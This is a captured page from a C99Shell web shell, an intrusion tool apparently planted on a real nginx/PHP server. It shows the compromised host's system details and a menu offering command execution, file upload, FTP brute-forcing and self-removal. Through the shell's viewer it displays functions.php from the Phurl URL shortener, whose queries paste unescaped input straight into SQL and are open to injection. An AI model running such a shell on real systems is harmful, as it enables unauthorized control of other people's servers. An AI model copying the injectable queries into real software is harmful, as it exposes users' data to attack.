!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/phurl/   drwxrwxr-x
Free 83.33 GB of 96.73 GB (86.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     functions.php (11.82 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
function db_die($filename$line$message) {
    die(
"File: $filename<br />Line: $line<br />Message: $message");
}

function 
db_ins_die($filename$line$message) {
    die(
'<p style="color:red;">Phurl Installation Wizard failed to connect to the database using the specified credentials. Please go back and try again.</p>');
}

function 
db_connect() {
    
mysql_connect(DB_HOSTNAMEDB_USERNAMEDB_PASSWORD) or db_die(__FILE____LINE__mysql_error());
    
mysql_select_db(DB_NAME) or db_die(__FILE____LINE__mysql_error());

    if (
DB_VERSION 4) {
        
mysql_query("SET NAMES 'utf8'") or db_die(__FILE____LINE__mysql_error());
    }
}

function 
db_ins_connect() {
    
mysql_connect(DB_HOSTNAMEDB_USERNAMEDB_PASSWORD) or db_ins_die(__FILE____LINE__mysql_error());
    
mysql_select_db(DB_NAME) or db_ins_die(__FILE____LINE__mysql_error());

    if (
DB_VERSION 4) {
        
mysql_query("SET NAMES 'utf8'") or db_ins_die(__FILE____LINE__mysql_error());
    }
}

function 
get_last_number() {
    
$db_result mysql_query("SELECT last_number FROM ".DB_PREFIX."settings") or db_die(__FILE____LINE__mysql_error());
    
$db_row    mysql_fetch_row($db_result);

    return 
$db_row[0];
}

function 
increase_last_number() {
    
mysql_query("UPDATE ".DB_PREFIX."settings SET last_number = (last_number + 1)") or db_die(__FILE____LINE__mysql_error());

    return (
mysql_affected_rows() > 0) ? true false;
}

function 
code_exists($code) {
    
$db_result mysql_query("SELECT COUNT(id) FROM ".DB_PREFIX."urls WHERE BINARY code = '$code'") or db_die(__FILE____LINE__mysql_error());
    
$db_row    mysql_fetch_row($db_result);

    return (
$db_row[0] > 0) ? true false;
}

function 
alias_exists($alias) {
    
$db_result mysql_query("SELECT COUNT(id) FROM ".DB_PREFIX."urls WHERE BINARY alias = '$alias'") or db_die(__FILE____LINE__mysql_error());
    
$db_row    mysql_fetch_row($db_result);

    return (
$db_row[0] > 0) ? true false;
}

function 
url_exists($url) {
    
$db_result mysql_query("SELECT id, code, alias FROM ".DB_PREFIX."urls WHERE url LIKE '$url'") or db_die(__FILE____LINE__mysql_error());

    if (
mysql_num_rows($db_result) > 0) {
        return 
mysql_fetch_row($db_result);
    }

    return 
false;
}

function 
generate_code($number) {
    
$out   "";
    
$codes "abcdefghjklmnpqrstuvwxyz23456789ABCDEFGHJKLMNOPQRSTUVWXYZ";

    while (
$number 53) {
        
$key    $number 54;
        
$number floor($number 54) - 1;
        
$out    $codes{$key}.$out;
    }

    return 
$codes{$number}.$out;
}

function 
insert_url($url$code$alias) {
   
// $country_code = $_SERVER["HTTP_CF_IPCOUNTRY"]; 

    
mysql_query("INSERT INTO ".DB_PREFIX."urls (url, code, alias, date_added) VALUES ('$url', '$code', '$alias', NOW())") or db_die(__FILE____LINE__mysql_error());

    return 
mysql_insert_id();
   
}

function 
update_url($id$alias) {
    
mysql_query("UPDATE ".DB_PREFIX."urls SET alias = '$alias' WHERE id = '$id'") or db_die(__FILE____LINE__mysql_error());
}

function 
get_url($alias) {
  
//  echo "SELECT url FROM ".DB_PREFIX."urls WHERE BINARY code = '$alias' OR alias = '$alias'";
  //  die();
    
$db_result mysql_query("SELECT url FROM ".DB_PREFIX."urls WHERE BINARY code = '$alias' OR alias = '$alias'") or db_die(__FILE____LINE__mysql_error());

    if (
mysql_num_rows($db_result) > 0) {
        
$db_row mysql_fetch_row($db_result);

        return 
$db_row[0];
    }

    return 
false;
}

function 
get_hostname() {
    
$data parse_url(SITE_URL);

    return 
$data['host'];
}

function 
get_domain() {
    
$hostname get_hostname();

    
preg_match("/\.([^\/]+)/"$hostname$domain);

    return 
$domain[1];
}

function 
print_errors($format='html') {
    global 
$_ERROR;
    
    if (
$format=='html'){

    if (
count($_ERROR) > 0) {
        echo 
"<ul id=\"error\">\n";

        foreach (
$_ERROR as $key => $value) {
            echo 
"<li>$value</li>\n";
        }

        echo 
"</ul>\n";
    }
    }elseif (
$format=='xml'){
        echo 
"<error>\n";
         foreach (
$_ERROR as $key => $value) {
            echo 
"<error_text>$value</error_text>\n";
            echo 
"</error>\n";
         }
          
        }else{
            
// es texto
            
            
foreach ($_ERROR as $key => $value) {
            echo 
"ERROR: "
            echo 
"$value\n";
            }
        }
        
}
function 
is_admin_login() {
    if (@
$_SESSION['admin'] == 1) {
        return 
true;
    }

    return 
false;
    }
    
    function 
get_languages$feature$spare='' )
{
    
// get the languages
    
$a_languages languages();
    
$index '';
    
$complete '';
    
$found false;// set to default value
    
$user_languages = array();
 
    
//check to see if language is set
    
if ( isset( $_SERVER["HTTP_ACCEPT_LANGUAGE"] ) )
    {
        
$languages strtolower$_SERVER["HTTP_ACCEPT_LANGUAGE"] );
        
// need to remove spaces from strings to avoid error
        
$languages str_replace' '''$languages );
        
$languages explode","$languages );
 
        foreach ( 
$languages as $language_list )
        {
            
// pull out the language, place languages into array of full and primary
            // string structure:
            
$temp_array = array();
            
// slice out the part before ; on first step, the part before - on second, place into array
            
$temp_array[0] = substr$language_list0strcspn$language_list';' ) );//full language
            
$temp_array[1] = substr$language_list0);// cut out primary language
            //place this array into main $user_languages language array
            
$user_languages[] = $temp_array;
        }
 
        
//start going through each one
        
for ( $i 0$i count$user_languages ); $i++ )
        {
            foreach ( 
$a_languages as $index => $complete )
            {
                if ( 
$index == $user_languages[$i][0] )
                {
                    
// complete language, like english (canada)
                    
$user_languages[$i][2] = $complete;
                    
// extract working language, like english
                    
$user_languages[$i][3] = substr$complete0strcspn$complete' (' ) );
                }
            }
        }
    }
    else
// if no languages found
    
{
        
$user_languages[0] = array( '','','','' ); //return blank array.
    
}
    
// print_r($user_languages);
    // return parameters
    
if ( $feature == 'data' )
    {
        return 
$user_languages;
    }
 
    
// this is just a sample, replace target language and file names with your own.
    
elseif ( $feature == 'header' )
    {
        
        return(
$user_languages[0][1]); // despues de esto, no debiera hacer falta el switch, pero lo dejo
        
switch ( $user_languages[0][1] )// get default primary language, the first one in array that is
        
{
            case 
'en':
                
$location 'english.php';
                
$found true;  
                
                return(
"en");
                break;
            case 
'es':
                
$location 'spanish.php';
                
$found true;
                
                
                return(
"es");   
                break;
            default:
                break;
        }
        if ( 
$found )
        {
            
header("Location: $location");
        }
        else
// make sure you have a default page to send them to
        
{
            
header("Location: default.php");
        }
    }
}
 
function 
languages()
{
// pack abbreviation/language array
// important note: you must have the default language as the last item in each major language, after all the
// en-ca type entries, so en would be last in that case
    
$a_languages = array(
    
'af' => 'Afrikaans',
    
'sq' => 'Albanian',
    
'ar-dz' => 'Arabic (Algeria)',
    
'ar-bh' => 'Arabic (Bahrain)',
    
'ar-eg' => 'Arabic (Egypt)',
    
'ar-iq' => 'Arabic (Iraq)',
    
'ar-jo' => 'Arabic (Jordan)',
    
'ar-kw' => 'Arabic (Kuwait)',
    
'ar-lb' => 'Arabic (Lebanon)',
    
'ar-ly' => 'Arabic (libya)',
    
'ar-ma' => 'Arabic (Morocco)',
    
'ar-om' => 'Arabic (Oman)',
    
'ar-qa' => 'Arabic (Qatar)',
    
'ar-sa' => 'Arabic (Saudi Arabia)',
    
'ar-sy' => 'Arabic (Syria)',
    
'ar-tn' => 'Arabic (Tunisia)',
    
'ar-ae' => 'Arabic (U.A.E.)',
    
'ar-ye' => 'Arabic (Yemen)',
    
'ar' => 'Arabic',
    
'hy' => 'Armenian',
    
'as' => 'Assamese',
    
'az' => 'Azeri',
    
'eu' => 'Basque',
    
'be' => 'Belarusian',
    
'bn' => 'Bengali',
    
'bg' => 'Bulgarian',
    
'ca' => 'Catalan',
    
'zh-cn' => 'Chinese (China)',
    
'zh-hk' => 'Chinese (Hong Kong SAR)',
    
'zh-mo' => 'Chinese (Macau SAR)',
    
'zh-sg' => 'Chinese (Singapore)',
    
'zh-tw' => 'Chinese (Taiwan)',
    
'zh' => 'Chinese',
    
'hr' => 'Croatian',
    
'cs' => 'Czech',
    
'da' => 'Danish',
    
'div' => 'Divehi',
    
'nl-be' => 'Dutch (Belgium)',
    
'nl' => 'Dutch (Netherlands)',
    
'en-au' => 'English (Australia)',
    
'en-bz' => 'English (Belize)',
    
'en-ca' => 'English (Canada)',
    
'en-ie' => 'English (Ireland)',
    
'en-jm' => 'English (Jamaica)',
    
'en-nz' => 'English (New Zealand)',
    
'en-ph' => 'English (Philippines)',
    
'en-za' => 'English (South Africa)',
    
'en-tt' => 'English (Trinidad)',
    
'en-gb' => 'English (United Kingdom)',
    
'en-us' => 'English (United States)',
    
'en-zw' => 'English (Zimbabwe)',
    
'en' => 'English',
    
'us' => 'English (United States)',
    
'et' => 'Estonian',
    
'fo' => 'Faeroese',
    
'fa' => 'Farsi',
    
'fi' => 'Finnish',
    
'fr-be' => 'French (Belgium)',
    
'fr-ca' => 'French (Canada)',
    
'fr-lu' => 'French (Luxembourg)',
    
'fr-mc' => 'French (Monaco)',
    
'fr-ch' => 'French (Switzerland)',
    
'fr' => 'French (France)',
    
'mk' => 'FYRO Macedonian',
    
'gd' => 'Gaelic',
    
'ka' => 'Georgian',
    
'de-at' => 'German (Austria)',
    
'de-li' => 'German (Liechtenstein)',
    
'de-lu' => 'German (Luxembourg)',
    
'de-ch' => 'German (Switzerland)',
    
'de' => 'German (Germany)',
    
'el' => 'Greek',
    
'gu' => 'Gujarati',
    
'he' => 'Hebrew',
    
'hi' => 'Hindi',
    
'hu' => 'Hungarian',
    
'is' => 'Icelandic',
    
'id' => 'Indonesian',
    
'it-ch' => 'Italian (Switzerland)',
    
'it' => 'Italian (Italy)',
    
'ja' => 'Japanese',
    
'kn' => 'Kannada',
    
'kk' => 'Kazakh',
    
'kok' => 'Konkani',
    
'ko' => 'Korean',
    
'kz' => 'Kyrgyz',
    
'lv' => 'Latvian',
    
'lt' => 'Lithuanian',
    
'ms' => 'Malay',
    
'ml' => 'Malayalam',
    
'mt' => 'Maltese',
    
'mr' => 'Marathi',
    
'mn' => 'Mongolian (Cyrillic)',
    
'ne' => 'Nepali (India)',
    
'nb-no' => 'Norwegian (Bokmal)',
    
'nn-no' => 'Norwegian (Nynorsk)',
    
'no' => 'Norwegian (Bokmal)',
    
'or' => 'Oriya',
    
'pl' => 'Polish',
    
'pt-br' => 'Portuguese (Brazil)',
    
'pt' => 'Portuguese (Portugal)',
    
'pa' => 'Punjabi',
    
'rm' => 'Rhaeto-Romanic',
    
'ro-md' => 'Romanian (Moldova)',
    
'ro' => 'Romanian',
    
'ru-md' => 'Russian (Moldova)',
    
'ru' => 'Russian',
    
'sa' => 'Sanskrit',
    
'sr' => 'Serbian',
    
'sk' => 'Slovak',
    
'ls' => 'Slovenian',
    
'sb' => 'Sorbian',
    
'es-ar' => 'Spanish (Argentina)',
    
'es-bo' => 'Spanish (Bolivia)',
    
'es-cl' => 'Spanish (Chile)',
    
'es-co' => 'Spanish (Colombia)',
    
'es-cr' => 'Spanish (Costa Rica)',
    
'es-do' => 'Spanish (Dominican Republic)',
    
'es-ec' => 'Spanish (Ecuador)',
    
'es-sv' => 'Spanish (El Salvador)',
    
'es-gt' => 'Spanish (Guatemala)',
    
'es-hn' => 'Spanish (Honduras)',
    
'es-mx' => 'Spanish (Mexico)',
    
'es-ni' => 'Spanish (Nicaragua)',
    
'es-pa' => 'Spanish (Panama)',
    
'es-py' => 'Spanish (Paraguay)',
    
'es-pe' => 'Spanish (Peru)',
    
'es-pr' => 'Spanish (Puerto Rico)',
    
'es-us' => 'Spanish (United States)',
    
'es-uy' => 'Spanish (Uruguay)',
    
'es-ve' => 'Spanish (Venezuela)',
    
'es' => 'Spanish (Traditional Sort)',
    
'sx' => 'Sutu',
    
'sw' => 'Swahili',
    
'sv-fi' => 'Swedish (Finland)',
    
'sv' => 'Swedish',
    
'syr' => 'Syriac',
    
'ta' => 'Tamil',
    
'tt' => 'Tatar',
    
'te' => 'Telugu',
    
'th' => 'Thai',
    
'ts' => 'Tsonga',
    
'tn' => 'Tswana',
    
'tr' => 'Turkish',
    
'uk' => 'Ukrainian',
    
'ur' => 'Urdu',
    
'uz' => 'Uzbek',
    
'vi' => 'Vietnamese',
    
'xh' => 'Xhosa',
    
'yi' => 'Yiddish',
    
'zu' => 'Zulu' );
 
    return 
$a_languages;
}

function 
xml_cabecera(){return('<?xml version="1.0" encoding="utf-8"?>'."\n".'<data>'."\n");}
function 
xml_pie(){return('</data>');} 
function 
api($mode=html,$longurl,$sorturl){
    
    switch (
$mode){
    case 
'xml':
    echo 
"<long_url>$longurl</long_url>\n";
    echo 
"<short_url>$sorturl</short_url>\n";
    break;
    case 
'txt':
    echo  
$sorturl;
    break;    
    } 
// fin switch
    
return(true);    
    

}
    
   

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0039 ]--